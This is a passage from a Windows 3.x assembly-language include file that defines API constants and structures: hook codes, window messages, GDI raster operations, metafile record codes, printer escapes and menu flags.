IFNDEF NOWIN31
|
|||
|
WH_CBT = 5
|
|||
|
WH_SYSMSGFILTER = 6
|
|||
|
WH_MOUSE = 7
|
|||
|
WH_HARDWARE = 8
|
|||
|
WH_DEBUG = 9
|
|||
|
ENDIF
|
|||
|
;
|
|||
|
; Hook Codes
|
|||
|
HC_GETLPLPFN = (-3)
|
|||
|
HC_LPLPFNNEXT = (-2)
|
|||
|
HC_LPFNNEXT = (-1)
|
|||
|
HC_ACTION = 0
|
|||
|
HC_GETNEXT = 1
|
|||
|
HC_SKIP = 2
|
|||
|
HC_NOREM = 3
|
|||
|
HC_NOREMOVE = 3
|
|||
|
HC_SYSMODALON = 4
|
|||
|
HC_SYSMODALOFF = 5
|
|||
|
;
|
|||
|
; CBT Hook Codes
|
|||
|
HCBT_MOVESIZE = 0
|
|||
|
HCBT_MINMAX = 1
|
|||
|
HCBT_QS = 2
|
|||
|
HCBT_CREATEWND = 3
|
|||
|
HCBT_DESTROYWND = 4
|
|||
|
HCBT_ACTIVATE = 5
|
|||
|
HCBT_CLICKSKIPPED = 6
|
|||
|
HCBT_KEYSKIPPED = 7
|
|||
|
HCBT_SYSCOMMAND = 8
|
|||
|
HCBT_SETFOCUS = 9
|
|||
|
|
|||
|
;
|
|||
|
; WH_MSGFILTER Filter Proc Codes
|
|||
|
MSGF_DIALOGBOX = 0
|
|||
|
MSGF_MENU = 2
|
|||
|
MSGF_MOVE = 3
|
|||
|
MSGF_SIZE = 4
|
|||
|
MSGF_SCROLLBAR = 5
|
|||
|
MSGF_NEXTWINDOW = 6
|
|||
|
;
|
|||
|
; Window Manager Hook Codes
|
|||
|
WC_INIT = 1
|
|||
|
WC_SWP = 2
|
|||
|
WC_DEFWINDOWPROC = 3
|
|||
|
WC_MINMAX = 4
|
|||
|
WC_MOVE = 5
|
|||
|
WC_SIZE = 6
|
|||
|
WC_DRAWCAPTION = 7
|
|||
|
;
|
|||
|
|
|||
|
; Message Structure used in Journaling
|
|||
|
EVENTMSG struc
|
|||
|
message dw ?
|
|||
|
paramL dw ?
|
|||
|
paramH dw ?
|
|||
|
time dd ?
|
|||
|
EVENTMSG ends
|
|||
|
|
|||
|
ENDIF ;NOWH
|
|||
|
|
|||
|
; Window field offsets for GetWindowLong() and GetWindowWord()
|
|||
|
GWL_WNDPROC = (-4)
|
|||
|
GWW_HINSTANCE = (-6)
|
|||
|
GWW_HWNDPARENT = (-8)
|
|||
|
GWW_ID = (-12)
|
|||
|
GWL_STYLE = (-16)
|
|||
|
GWL_EXSTYLE = (-20)
|
|||
|
|
|||
|
; GetWindow() Constants
|
|||
|
GW_HWNDFIRST = 0
|
|||
|
GW_HWNDLAST = 1
|
|||
|
GW_HWNDNEXT = 2
|
|||
|
GW_HWNDPREV = 3
|
|||
|
GW_OWNER = 4
|
|||
|
GW_CHILD = 5
|
|||
|
|
|||
|
; Class field offsets for GetClassLong() and GetClassWord()
|
|||
|
GCL_MENUNAME = (-8)
|
|||
|
GCW_HBRBACKGROUND = (-10)
|
|||
|
GCW_HCURSOR = (-12)
|
|||
|
GCW_HICON = (-14)
|
|||
|
GCW_HMODULE = (-16)
|
|||
|
GCW_CBWNDEXTRA = (-18)
|
|||
|
GCW_CBCLSEXTRA = (-20)
|
|||
|
GCL_WNDPROC = (-24)
|
|||
|
GCW_STYLE = (-26)
|
|||
|
|
|||
|
; WinWhere() Area Codes
|
|||
|
HTERROR = (-2)
|
|||
|
HTTRANSPARENT = (-1)
|
|||
|
HTNOWHERE = 0
|
|||
|
HTCLIENT = 1
|
|||
|
HTCAPTION = 2
|
|||
|
HTSYSMENU = 3
|
|||
|
HTGROWBOX = 4
|
|||
|
HTSIZE = HTGROWBOX
|
|||
|
HTMENU = 5
|
|||
|
HTHSCROLL = 6
|
|||
|
HTVSCROLL = 7
|
|||
|
HTREDUCE = 8
|
|||
|
HTZOOM = 9
|
|||
|
HTLEFT = 10
|
|||
|
HTRIGHT = 11
|
|||
|
HTTOP = 12
|
|||
|
HTTOPLEFT = 13
|
|||
|
HTTOPRIGHT = 14
|
|||
|
HTBOTTOM = 15
|
|||
|
HTBOTTOMLEFT = 16
|
|||
|
HTBOTTOMRIGHT = 17
|
|||
|
HTSIZEFIRST = HTLEFT
|
|||
|
HTSIZELAST = HTBOTTOMRIGHT
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;*************************************************************************
|
|||
|
;
|
|||
|
; Misc structures & constants
|
|||
|
;
|
|||
|
;*************************************************************************
|
|||
|
|
|||
|
IFNDEF NOMST
|
|||
|
POINT struc
|
|||
|
ptX dw ?
|
|||
|
ptY dw ?
|
|||
|
POINT ends
|
|||
|
|
|||
|
LOGPEN struc
|
|||
|
lopnStyle dw ?
|
|||
|
lopnWidth db (SIZE POINT) DUP(?)
|
|||
|
lopnColor dd ?
|
|||
|
LOGPEN ends
|
|||
|
|
|||
|
|
|||
|
BITMAP STRUC
|
|||
|
bmType DW ?
|
|||
|
bmWidth DW ?
|
|||
|
bmHeight DW ?
|
|||
|
bmWidthBytes DW ?
|
|||
|
bmPlanes DB ?
|
|||
|
bmBitsPixel DB ?
|
|||
|
bmBits DD ?
|
|||
|
BITMAP ENDS
|
|||
|
|
|||
|
RGBTRIPLE struc
|
|||
|
rgbBlue db ?
|
|||
|
rgbGreen db ?
|
|||
|
rgbRed db ?
|
|||
|
RGBTRIPLE ends
|
|||
|
|
|||
|
RGBQUAD struc
|
|||
|
rgbqBlue db ?
|
|||
|
rgbqGreen db ?
|
|||
|
rgbqRed db ?
|
|||
|
rgbqReserved db ?
|
|||
|
RGBQUAD ends
|
|||
|
|
|||
|
; structures for defining DIBs
|
|||
|
BITMAPCOREHEADER struc
|
|||
|
bcSize dd ?
|
|||
|
bcWidth dw ?
|
|||
|
bcHeight dw ?
|
|||
|
bcPlanes dw ?
|
|||
|
bcBitCount dw ?
|
|||
|
BITMAPCOREHEADER ends
|
|||
|
|
|||
|
BITMAPINFOHEADER struc
|
|||
|
biSize dd ?
|
|||
|
biWidth dd ?
|
|||
|
biHeight dd ?
|
|||
|
biPlanes dw ?
|
|||
|
biBitCount dw ?
|
|||
|
|
|||
|
biCompression dd ?
|
|||
|
biSizeImage dd ?
|
|||
|
biXPelsPerMeter dd ?
|
|||
|
biYPelsPerMeter dd ?
|
|||
|
biClrUsed dd ?
|
|||
|
biClrImportant dd ?
|
|||
|
BITMAPINFOHEADER ends
|
|||
|
|
|||
|
BITMAPINFO struc
|
|||
|
bmiHeader db (SIZE BITMAPINFOHEADER) DUP (?)
|
|||
|
bmiColors db ? ; array of RGBQUADs
|
|||
|
BITMAPINFO ends
|
|||
|
|
|||
|
BITMAPCOREINFO struc
|
|||
|
bmciHeader db (SIZE BITMAPCOREHEADER) DUP (?)
|
|||
|
bmciColors db ? ; array of RGBTRIPLEs
|
|||
|
BITMAPCOREINFO ends
|
|||
|
|
|||
|
BITMAPFILEHEADER struc
|
|||
|
bfType dw ?
|
|||
|
bfSize dd ?
|
|||
|
bfReserved1 dw ?
|
|||
|
bfReserved2 dw ?
|
|||
|
bfOffBits dd ?
|
|||
|
BITMAPFILEHEADER ends
|
|||
|
|
|||
|
|
|||
|
WNDSTRUC struc
|
|||
|
WSwndStyle dd ?
|
|||
|
WSwndID dw ?
|
|||
|
WSwndText dw ?
|
|||
|
WSwndParent dw ?
|
|||
|
WSwndInstance dw ?
|
|||
|
WSwndClassProc dd ?
|
|||
|
WNDSTRUC ends
|
|||
|
;
|
|||
|
; Message structure
|
|||
|
;
|
|||
|
MSGSTRUCT struc
|
|||
|
msHWND dw ?
|
|||
|
msMESSAGE dw ?
|
|||
|
msWPARAM dw ?
|
|||
|
msLPARAM dd ?
|
|||
|
msTIME dd ?
|
|||
|
msPT dd ?
|
|||
|
MSGSTRUCT ends
|
|||
|
|
|||
|
NEWPARMS struc
|
|||
|
nprmHwnd dw ?
|
|||
|
nprmCmd db ?
|
|||
|
NEWPARMS ends
|
|||
|
ENDIF
|
|||
|
|
|||
|
PAINTSTRUCT STRUC
|
|||
|
PShdc DW ?
|
|||
|
PSfErase DW ?
|
|||
|
PSrcPaint DB size RECT dup(?)
|
|||
|
PSfRestore DW ?
|
|||
|
PSfIncUpdate DW ?
|
|||
|
PSrgbReserved DB 16 dup(?)
|
|||
|
PAINTSTRUCT ENDS
|
|||
|
|
|||
|
|
|||
|
CREATESTRUCT struc
|
|||
|
cs_lpCreateParams dd ?
|
|||
|
cs_hInstance dw ?
|
|||
|
cs_hMenu dw ?
|
|||
|
cs_hwndParent dw ?
|
|||
|
cs_cy dw ?
|
|||
|
cs_cx dw ?
|
|||
|
cs_y dw ?
|
|||
|
cs_x dw ?
|
|||
|
cs_style dd ?
|
|||
|
cs_lpszName dd ?
|
|||
|
cs_lpszClass dd ?
|
|||
|
cs_dwExStyle dd ?
|
|||
|
CREATESTRUCT ends
|
|||
|
;
|
|||
|
; PostError constants
|
|||
|
;
|
|||
|
WARNING = 0 ; command codes
|
|||
|
MINOR_ERROR = 1
|
|||
|
FATAL_ERROR = 2
|
|||
|
|
|||
|
IGNORE = 0 ; response codes
|
|||
|
RETRY = 1
|
|||
|
ABORT = 2
|
|||
|
;
|
|||
|
; GDI-related constants & commands
|
|||
|
;
|
|||
|
ERRORREGION = 0
|
|||
|
NULLREGION = 1
|
|||
|
SIMPLEREGION = 2
|
|||
|
COMPLEXREGION = 3
|
|||
|
|
|||
|
IFNDEF NORASTOPS
|
|||
|
;
|
|||
|
; Binary raster ops
|
|||
|
;
|
|||
|
R2_BLACK = 1
|
|||
|
R2_NOTMERGEPEN = 2
|
|||
|
R2_MASKNOTPEN = 3
|
|||
|
R2_NOTCOPYPEN = 4
|
|||
|
R2_MASKPENNOT = 5
|
|||
|
R2_NOT = 6
|
|||
|
R2_XORPEN = 7
|
|||
|
R2_NOTMASKPEN = 8
|
|||
|
R2_MASKPEN = 9
|
|||
|
R2_NOTXORPEN = 10
|
|||
|
R2_NOP = 11
|
|||
|
R2_MERGENOTPEN = 12
|
|||
|
R2_COPYPEN = 13
|
|||
|
R2_MERGEPENNOT = 14
|
|||
|
R2_MERGEPEN = 15
|
|||
|
R2_WHITE = 16
|
|||
|
;
|
|||
|
; Ternary raster ops
|
|||
|
;
|
|||
|
SRCCOPY_L = 0020h ;dest=source
|
|||
|
SRCCOPY_H = 00CCh
|
|||
|
SRCPAINT_L = 0086h ;dest=source OR dest
|
|||
|
SRCPAINT_H = 00EEh
|
|||
|
SRCAND_L = 00C6h ;dest=source AND dest
|
|||
|
SRCAND_H = 0088h
|
|||
|
SRCINVERT_L = 0046h ;dest= source XOR dest
|
|||
|
SRCINVERT_H = 0066h
|
|||
|
SRCERASE_L = 0328h ;dest= source AND (not dest )
|
|||
|
SRCERASE_H = 0044h
|
|||
|
NOTSRCCOPY_L = 0008h ;dest= (not source)
|
|||
|
NOTSRCCOPY_H = 0033h
|
|||
|
NOTSRCERASE_L = 00A6h ;dest= (not source) AND (not dest)
|
|||
|
NOTSRCERASE_H = 0011h
|
|||
|
MERGECOPY_L = 00CAh ;dest= (source AND pattern)
|
|||
|
MERGECOPY_H = 00C0h
|
|||
|
MERGEPAINT_L = 0226h ;dest= (source AND pattern) OR dest
|
|||
|
MERGEPAINT_H = 00BBh
|
|||
|
PATCOPY_L = 0021h ;dest= pattern
|
|||
|
PATCOPY_H = 00F0h
|
|||
|
PATPAINT_L = 0A09h ;DPSnoo
|
|||
|
PATPAINT_H = 00FBh
|
|||
|
PATINVERT_L = 0049h ;dest= pattern XOR dest
|
|||
|
PATINVERT_H = 005Ah
|
|||
|
DSTINVERT_L = 0009h ;dest= (not dest)
|
|||
|
DSTINVERT_H = 0055h
|
|||
|
BLACKNESS_L = 0042h ;dest= BLACK
|
|||
|
BLACKNESS_H = 0000h
|
|||
|
WHITENESS_L = 0062h ;dest= WHITE
|
|||
|
WHITENESS_H = 00FFh
|
|||
|
;
|
|||
|
; StretchBlt modes
|
|||
|
;
|
|||
|
BLACKONWHITE = 1
|
|||
|
WHITEONBLACK = 2
|
|||
|
COLORONCOLOR = 3
|
|||
|
;
|
|||
|
; New StretchBlt modes
|
|||
|
;
|
|||
|
STRETCH_ANDSCANS = 1
|
|||
|
STRETCH_ORSCANS = 2
|
|||
|
STRETCH_DELETESCANS = 3
|
|||
|
;
|
|||
|
; PolyFill modes
|
|||
|
;
|
|||
|
ALTERNATE = 1
|
|||
|
WINDING = 2
|
|||
|
ENDIF
|
|||
|
;
|
|||
|
; Text Alignment Options
|
|||
|
;
|
|||
|
TA_NOUPDATECP = 0
|
|||
|
TA_UPDATECP = 1
|
|||
|
|
|||
|
TA_LEFT = 0
|
|||
|
TA_RIGHT = 2
|
|||
|
TA_CENTER = 6
|
|||
|
|
|||
|
TA_TOP = 0
|
|||
|
TA_BOTTOM = 8
|
|||
|
TA_BASELINE = 24
|
|||
|
|
|||
|
ETO_GRAYED = 1
|
|||
|
ETO_OPAQUE = 2
|
|||
|
ETO_CLIPPED = 4
|
|||
|
|
|||
|
ASPECT_FILTERING = 1
|
|||
|
|
|||
|
ifndef NOMETAFILE
|
|||
|
|
|||
|
; Metafile Functions */
|
|||
|
META_SETBKCOLOR = 0201h
|
|||
|
META_SETBKMODE = 0102h
|
|||
|
META_SETMAPMODE = 0103h
|
|||
|
META_SETROP2 = 0104h
|
|||
|
META_SETRELABS = 0105h
|
|||
|
META_SETPOLYFILLMODE = 0106h
|
|||
|
META_SETSTRETCHBLTMODE = 0107h
|
|||
|
META_SETTEXTCHAREXTRA = 0108h
|
|||
|
META_SETTEXTCOLOR = 0209h
|
|||
|
META_SETTEXTJUSTIFICATION = 020Ah
|
|||
|
META_SETWINDOWORG = 020Bh
|
|||
|
META_SETWINDOWEXT = 020Ch
|
|||
|
META_SETVIEWPORTORG = 020Dh
|
|||
|
META_SETVIEWPORTEXT = 020Eh
|
|||
|
META_OFFSETWINDOWORG = 020Fh
|
|||
|
META_SCALEWINDOWEXT = 0400h
|
|||
|
META_OFFSETVIEWPORTORG = 0211h
|
|||
|
META_SCALEVIEWPORTEXT = 0412h
|
|||
|
META_LINETO = 0213h
|
|||
|
META_MOVETO = 0214h
|
|||
|
META_EXCLUDECLIPRECT = 0415h
|
|||
|
META_INTERSECTCLIPRECT = 0416h
|
|||
|
META_ARC = 0817h
|
|||
|
META_ELLIPSE = 0418h
|
|||
|
META_FLOODFILL = 0419h
|
|||
|
META_PIE = 081Ah
|
|||
|
META_RECTANGLE = 041Bh
|
|||
|
META_ROUNDRECT = 061Ch
|
|||
|
META_PATBLT = 061Dh
|
|||
|
META_SAVEDC = 001Eh
|
|||
|
META_SETPIXEL = 041Fh
|
|||
|
META_OFFSETCLIPRGN = 0220h
|
|||
|
META_TEXTOUT = 0521h
|
|||
|
META_BITBLT = 0922h
|
|||
|
META_STRETCHBLT = 0B23h
|
|||
|
META_POLYGON = 0324h
|
|||
|
META_POLYLINE = 0325h
|
|||
|
META_ESCAPE = 0626h
|
|||
|
META_RESTOREDC = 0127h
|
|||
|
META_FILLREGION = 0228h
|
|||
|
META_FRAMEREGION = 0429h
|
|||
|
META_INVERTREGION = 012Ah
|
|||
|
META_PAINTREGION = 012Bh
|
|||
|
META_SELECTCLIPREGION = 012Ch
|
|||
|
META_SELECTOBJECT = 012Dh
|
|||
|
META_SETTEXTALIGN = 012Eh
|
|||
|
META_DRAWTEXT = 062Fh
|
|||
|
|
|||
|
META_CHORD = 0830h
|
|||
|
META_SETMAPPERFLAGS = 0231h
|
|||
|
META_EXTTEXTOUT = 0a32h
|
|||
|
META_SETDIBTODEV = 0d33h
|
|||
|
META_SELECTPALETTE = 0234h
|
|||
|
META_REALIZEPALETTE = 0035h
|
|||
|
META_ANIMATEPALETTE = 0436h
|
|||
|
META_SETPALENTRIES = 0037h
|
|||
|
META_POLYPOLYGON = 0538h
|
|||
|
META_RESIZEPALETTE = 0139h
|
|||
|
|
|||
|
META_DIBBITBLT = 0940h
|
|||
|
META_DIBSTRETCHBLT = 0b41h
|
|||
|
META_DIBCREATEPATTERNBRUSH = 0142h
|
|||
|
META_STRETCHDIB = 0f43h
|
|||
|
|
|||
|
META_DELETEOBJECT = 01f0h
|
|||
|
|
|||
|
META_CREATEPALETTE = 00f7h
|
|||
|
META_CREATEBRUSH = 00F8h
|
|||
|
META_CREATEPATTERNBRUSH = 01F9h
|
|||
|
META_CREATEPENINDIRECT = 02FAh
|
|||
|
META_CREATEFONTINDIRECT = 02FBh
|
|||
|
META_CREATEBRUSHINDIRECT = 02FCh
|
|||
|
META_CREATEBITMAPINDIRECT = 02FDh
|
|||
|
META_CREATEBITMAP = 06FEh
|
|||
|
META_CREATEREGION = 06FFh
|
|||
|
|
|||
|
; /* Clipboard Metafile Picture Structure */
|
|||
|
HANDLETABLE struc
|
|||
|
ht_objectHandle dw ?
|
|||
|
HANDLETABLE ends
|
|||
|
|
|||
|
METARECORD struc
|
|||
|
mr_rdSize dd ?
|
|||
|
mr_rdFunction dw ?
|
|||
|
mr_rdParm dw ?
|
|||
|
METARECORD ends
|
|||
|
|
|||
|
METAFILEPICT struc
|
|||
|
mfp_mm dw ?
|
|||
|
mfp_xExt dw ?
|
|||
|
mfp_yExt dw ?
|
|||
|
mfp_hMF dw ?
|
|||
|
METAFILEPICT ends
|
|||
|
|
|||
|
METAHEADER struc
|
|||
|
mtType dw ?
|
|||
|
mtHeaderSize dw ?
|
|||
|
mtVersion dw ?
|
|||
|
mtSize dd ?
|
|||
|
mtNoObjects dw ?
|
|||
|
mtMaxRecord dd ?
|
|||
|
mtNoParameters dw ?
|
|||
|
METAHEADER ends
|
|||
|
|
|||
|
endif ; NOMETAFILE
|
|||
|
|
|||
|
; GDI Escapes
|
|||
|
NEWFRAME = 1
|
|||
|
ABORTDOC = 2
|
|||
|
NEXTBAND = 3
|
|||
|
SETCOLORTABLE = 4
|
|||
|
GETCOLORTABLE = 5
|
|||
|
FLUSHOUTPUT = 6
|
|||
|
DRAFTMODE = 7
|
|||
|
QUERYESCSUPPORT = 8
|
|||
|
SETABORTPROC = 9
|
|||
|
STARTDOC = 10
|
|||
|
;; This value conflicts with a std WIN386 MACRO definition
|
|||
|
;;ENDDOC = 11
|
|||
|
GETPHYSPAGESIZE = 12
|
|||
|
GETPRINTINGOFFSET = 13
|
|||
|
GETSCALINGFACTOR = 14
|
|||
|
MFCOMMENT = 15
|
|||
|
GETPENWIDTH = 16
|
|||
|
SETCOPYCOUNT = 17
|
|||
|
SELECTPAPERSOURCE = 18
|
|||
|
DEVICEDATA = 19
|
|||
|
PASSTHROUGH = 19
|
|||
|
GETTECHNOLGY = 20
|
|||
|
GETTECHNOLOGY = 20
|
|||
|
SETENDCAP = 21
|
|||
|
SETLINEJOIN = 22
|
|||
|
SETMITERLIMIT = 23
|
|||
|
BANDINFO = 24
|
|||
|
DRAWPATTERNRECT = 25
|
|||
|
GETVECTORPENSIZE = 26
|
|||
|
GETVECTORBRUSHSIZE = 27
|
|||
|
ENABLEDUPLEX = 28
|
|||
|
ENABLEMANUALFEED = 29
|
|||
|
GETSETPAPERBINS = 29
|
|||
|
GETSETPRINTORIENT = 30
|
|||
|
ENUMPAPERBINS = 31
|
|||
|
|
|||
|
GETEXTENDEDTEXTMETRICS = 256
|
|||
|
GETEXTENTTABLE = 257
|
|||
|
GETPAIRKERNTABLE = 258
|
|||
|
GETTRACKKERNTABLE = 259
|
|||
|
|
|||
|
EXTTEXTOUT = 512
|
|||
|
|
|||
|
ENABLERELATIVEWIDTHS = 768
|
|||
|
ENABLEPAIRKERNING = 769
|
|||
|
SETKERNTRACK = 770
|
|||
|
SETALLJUSTVALUES = 771
|
|||
|
SETCHARSET = 772
|
|||
|
|
|||
|
GETSETSCREENPARAMS = 3072
|
|||
|
|
|||
|
STRETCHBLT = 2048
|
|||
|
|
|||
|
|
|||
|
; Spooler Error Codes
|
|||
|
SP_NOTREPORTED = 4000h
|
|||
|
SP_ERROR = (-1)
|
|||
|
SP_APPABORT = (-2)
|
|||
|
SP_USERABORT = (-3)
|
|||
|
SP_OUTOFDISK = (-4)
|
|||
|
SP_OUTOFMEMORY = (-5)
|
|||
|
|
|||
|
PR_JOBSTATUS = 0000
|
|||
|
|
|||
|
; Object Definitions for EnumObjects()
|
|||
|
OBJ_PEN = 1
|
|||
|
OBJ_BRUSH = 2
|
|||
|
|
|||
|
;
|
|||
|
; Menu flags for Change/Check/Enable MenuItem
|
|||
|
;
|
|||
|
MF_INSERT = 0000h
|
|||
|
MF_CHANGE = 0080h
|
|||
|
MF_APPEND = 0100h
|
|||
|
MF_DELETE = 0200h
|
|||
|
MF_REMOVE = 1000h
|
|||
|
|
|||
|
MF_BYCOMMAND = 0000h
|
|||
|
MF_BYPOSITION = 0400h
|
|||
|
|
|||
|
MF_SEPARATOR = 0800h
|
|||
|
|
|||
|
MF_ENABLED = 0000h
|
|||
|
MF_GRAYED = 0001h
|
|||
|
MF_DISABLED = 0002h
|
|||
|
|
|||
|
MF_UNCHECKED = 0000h
|
|||
|
MF_CHECKED = 0008h
|
|||
|
MF_USECHECKBITMAPS= 0200h
|
|||
|
|
|||
|
MF_STRING = 0000h
|
|||
|
MF_BITMAP = 0004h
|
|||
|
MF_OWNERDRAW = 0100h
|
|||
|
|
|||
|
MF_POPUP = 0010h
|
|||
|
MF_MENUBARBREAK = 0020h
|
|||
|
MF_MENUBREAK = 0040h
|
|||
|
|
|||
|
MF_UNHILITE = 0000h
|
|||
|
MF_HILITE = 0080h
|
|||
|
|
|||
|
MF_SYSMENU = 2000h
|
|||
|
MF_HELP = 4000h
|
|||
|
MF_MOUSESELECT = 8000h
|
|||
|
|
|||
|
|
|||
|
;
|
|||
|
; System Menu Command Values
|
|||
|
;
|
|||
|
SC_SIZE = 0F000h
|
|||
|
SC_MOVE = 0F010h
|
|||
|
SC_MINIMIZE = 0F020h
|
|||
|
SC_MAXIMIZE = 0F030h
|
|||
|
SC_NEXTWINDOW = 0F040h
|
|||
|
SC_PREVWINDOW = 0F050h
|
|||
|
SC_CLOSE = 0F060h
|
|||
|
SC_VSCROLL = 0F070h
|
|||
|
SC_HSCROLL = 0F080h
|
|||
|
SC_MOUSEMENU = 0F090h
|
|||
|
SC_KEYMENU = 0F100h
|
|||
|
SC_ARRANGE = 0F110h
|
|||
|
SC_RESTORE = 0F120h
|
|||
|
SC_TASKLIST = 0F130h
|
|||
|
SC_SCREENSAVE = 0F140h
|
|||
|
SC_HOTKEY = 0F150h
|
|||
|
|
|||
|
SC_ICON = SC_MINIMIZE
|
|||
|
SC_ZOOM = SC_MAXIMIZE
|
|||
|
|
|||
|
;
|
|||
|
; Window State Messages
|
|||
|
;
|
|||
|
IFNDEF NOWM
|
|||
|
WM_STATE = 0000H
|
|||
|
|
|||
|
WM_NULL = 0000h
|
|||
|
WM_CREATE = 0001h
|
|||
|
WM_DESTROY = 0002h
|
|||
|
WM_MOVE = 0003h
|
|||
|
WM_SIZE = 0005h
|
|||
|
WM_ACTIVATE = 0006h
|
|||
|
WM_SETFOCUS = 0007h
|
|||
|
WM_KILLFOCUS = 0008h
|
|||
|
WM_ENABLE = 000Ah
|
|||
|
WM_SETREDRAW = 000Bh
|
|||
|
WM_SETTEXT = 000Ch
|
|||
|
WM_GETTEXT = 000Dh
|
|||
|
WM_GETTEXTLENGTH = 000Eh
|
|||
|
WM_PAINT = 000Fh
|
|||
|
WM_CLOSE = 0010h
|
|||
|
WM_QUERYENDSESSION = 0011h
|
|||
|
WM_QUIT = 0012h
|
|||
|
WM_QUERYOPEN = 0013h
|
|||
|
WM_ERASEBKGND = 0014h
|
|||
|
WM_SYSCOLORCHANGE = 0015h
|
|||
|
WM_ENDSESSION = 0016h
|
|||
|
WM_SYSTEMERROR = 0017h
|
|||
|
WM_SHOWWINDOW = 0018h
|
|||
|
WM_CTLCOLOR = 0019h
|
|||
|
WM_WININICHANGE = 001Ah
|
|||
|
WM_DEVMODECHANGE = 001Bh
|
|||
|
WM_ACTIVATEAPP = 001Ch
|
|||
|
WM_FONTCHANGE = 001Dh
|
|||
|
WM_TIMECHANGE = 001Eh
|
|||
|
WM_CANCELMODE = 001Fh
|
|||
|
WM_SETCURSOR = 0020h
|
|||
|
WM_MOUSEACTIVATE = 0021h
|
|||
|
WM_CHILDACTIVATE = 0022h
|
|||
|
WM_QUEUESYNC = 0023h
|
|||
|
WM_GETMINMAXINFO = 0024h
|
|||
|
WM_PAINTICON = 0026h
|
|||
|
WM_ICONERASEBKGND = 0027h
|
|||
|
WM_NEXTDLGCTL = 0028h
|
|||
|
WM_SPOOLERSTATUS = 002Ah
|
|||
|
WM_DRAWITEM = 002Bh
|
|||
|
WM_MEASUREITEM = 002Ch
|
|||
|
WM_DELETEITEM = 002Dh
|
|||
|
WM_VKEYTOITEM = 002Eh
|
|||
|
WM_CHARTOITEM = 002Fh
|
|||
|
WM_SETFONT = 0030h
|
|||
|
WM_GETFONT = 0031h
|
|||
|
WM_QUERYDRAGICON = 0037h
|
|||
|
WM_COMPAREITEM = 0039h
|
|||
|
WM_COMPACTING = 0041h
|
|||
|
IFNDEF NOWIN31
|
|||
|
WM_COMMNOTIFY = 0044h
|
|||
|
WM_WINDOWPOSCHANGING= 0046h
|
|||
|
WM_WINDOWPOSCHANGED = 0047h
|
|||
|
WM_POWER = 0048h
|
|||
|
ENDIF
|
|||
|
|
|||
|
|
|||
|
WM_NCCREATE = 0081h
|
|||
|
WM_NCDESTROY = 0082h
|
|||
|
WM_NCCALCSIZE = 0083h
|
|||
|
WM_NCHITTEST = 0084h
|
|||
|
WM_NCPAINT = 0085h
|
|||
|
WM_NCACTIVATE = 0086h
|
|||
|
WM_GETDLGCODE = 0087h
|
|||
|
WM_NCMOUSEMOVE = 00A0h
|
|||
|
WM_NCLBUTTONDOWN = 00A1h
|
|||
|
WM_NCLBUTTONUP = 00A2h
|
|||
|
WM_NCLBUTTONDBLCLK = 00A3h
|
|||
|
WM_NCRBUTTONDOWN = 00A4h
|
|||
|
WM_NCRBUTTONUP = 00A5h
|
|||
|
WM_NCRBUTTONDBLCLK = 00A6h
|
|||
|
WM_NCMBUTTONDOWN = 00A7h
|
|||
|
WM_NCMBUTTONUP = 00A8h
|
|||
|
WM_NCMBUTTONDBLCLK = 00A9h
|
|||
|
|
|||
|
WM_KEYFIRST = 0100h
|
|||
|
WM_KEYDOWN = 0100h
|
|||
|
WM_KEYUP = 0101h
|
|||
|
WM_CHAR = 0102h
|
|||
|
WM_DEADCHAR = 0103h
|
|||
|
WM_SYSKEYDOWN = 0104h
|
|||
|
WM_SYSKEYUP = 0105h
|
|||
|
WM_SYSCHAR = 0106h
|
|||
|
WM_SYSDEADCHAR = 0107h
|
|||
|
WM_KEYLAST = 0108h
|
|||
|
|
|||
|
WM_INITDIALOG = 0110h
|
|||
|
WM_COMMAND = 0111h
|
|||
|
WM_SYSCOMMAND = 0112h
|
|||
|
WM_TIMER = 0113h
|
|||
|
WM_HSCROLL = 0114h
|
|||
|
WM_VSCROLL = 0115h
|
|||
|
WM_INITMENU = 0116h
|
|||
|
WM_INITMENUPOPUP = 0117h
|
|||
|
WM_MENUSELECT = 011Fh
|
|||
|
WM_MENUCHAR = 0120h
|
|||
|
WM_ENTERIDLE = 0121h
|
|||
|
|
|||
|
|
|||
|
WM_MOUSEFIRST = 0200h
|
|||
|
WM_MOUSEMOVE = 0200h
|
|||
|
WM_LBUTTONDOWN = 0201h
|
|||
|
WM_LBUTTONUP = 0202h
|
|||
|
WM_LBUTTONDBLCLK = 0203h
|
|||
|
WM_RBUTTONDOWN = 0204h
|
|||
|
WM_RBUTTONUP = 0205h
|
|||
|
WM_RBUTTONDBLCLK = 0206h
|
|||
|
WM_MBUTTONDOWN = 0207h
|
|||
|
WM_MBUTTONUP = 0208h
|
|||
|
WM_MBUTTONDBLCLK = 0209h
|
|||
|
WM_MOUSELAST = 0209h
|
|||
|
|
|||
|
WM_PARENTNOTIFY = 0210h
|
|||
|
WM_MDICREATE = 0220h
|
|||
|
WM_MDIDESTROY = 0221h
|
|||
|
WM_MDIACTIVATE = 0222h
|
|||
|
WM_MDIRESTORE = 0223h
|
|||
|
WM_MDINEXT = 0224h
|
|||
|
WM_MDIMAXIMIZE = 0225h
|
|||
|
WM_MDITILE = 0226h
|
|||
|
WM_MDICASCADE = 0227h
|
|||
|
WM_MDIICONARRANGE = 0228h
|
|||
|
WM_MDIGETACTIVE = 0229h
|
|||
|
WM_MDISETMENU = 0230h
|
|||
|
WM_DROPFILES = 0233h
|
|||
|
|
|||
|
|
|||
|
WM_CUT = 0300h
|
|||
|
WM_COPY = 0301h
|
|||
|
WM_PASTE = 0302h
|
|||
|
WM_CLEAR = 0303h
|
|||
|
WM_UNDO = 0304h
|
|||
|
WM_RENDERFORMAT = 0305h
|
|||
|
WM_RENDERALLFORMATS = 0306h
|
|||
|
WM_DESTROYCLIPBOARD = 0307h
|
|||
|
WM_DRAWCLIPBOARD = 0308h
|
|||
|
WM_PAINTCLIPBOARD = 0309h
|
|||
|
WM_VSCROLLCLIPBOARD = 030Ah
|
|||
|
WM_SIZECLIPBOARD = 030Bh
|
|||
|
WM_ASKCBFORMATNAME = 030Ch
|
|||
|
WM_CHANGECBCHAIN = 030Dh
|
|||
|
WM_HSCROLLCLIPBOARD = 030Eh
|
|||
|
WM_QUERYNEWPALETTE = 030Fh
|
|||
|
WM_PALETTEISCHANGING = 0310h
|
|||
|
WM_PALETTECHANGED = 0311h
|
|||
|
|
|||
|
IFNDEF NOWIN31
|
|||
|
WM_PENWINFIRST equ 0380h
|
|||
|
WM_PENWINLAST equ 038Fh
|
|||
|
|
|||
|
|
|||
|
WM_COALESCE_FIRST equ 0390h
|
|||
|
WM_COALESCE_LAST equ 039Fh
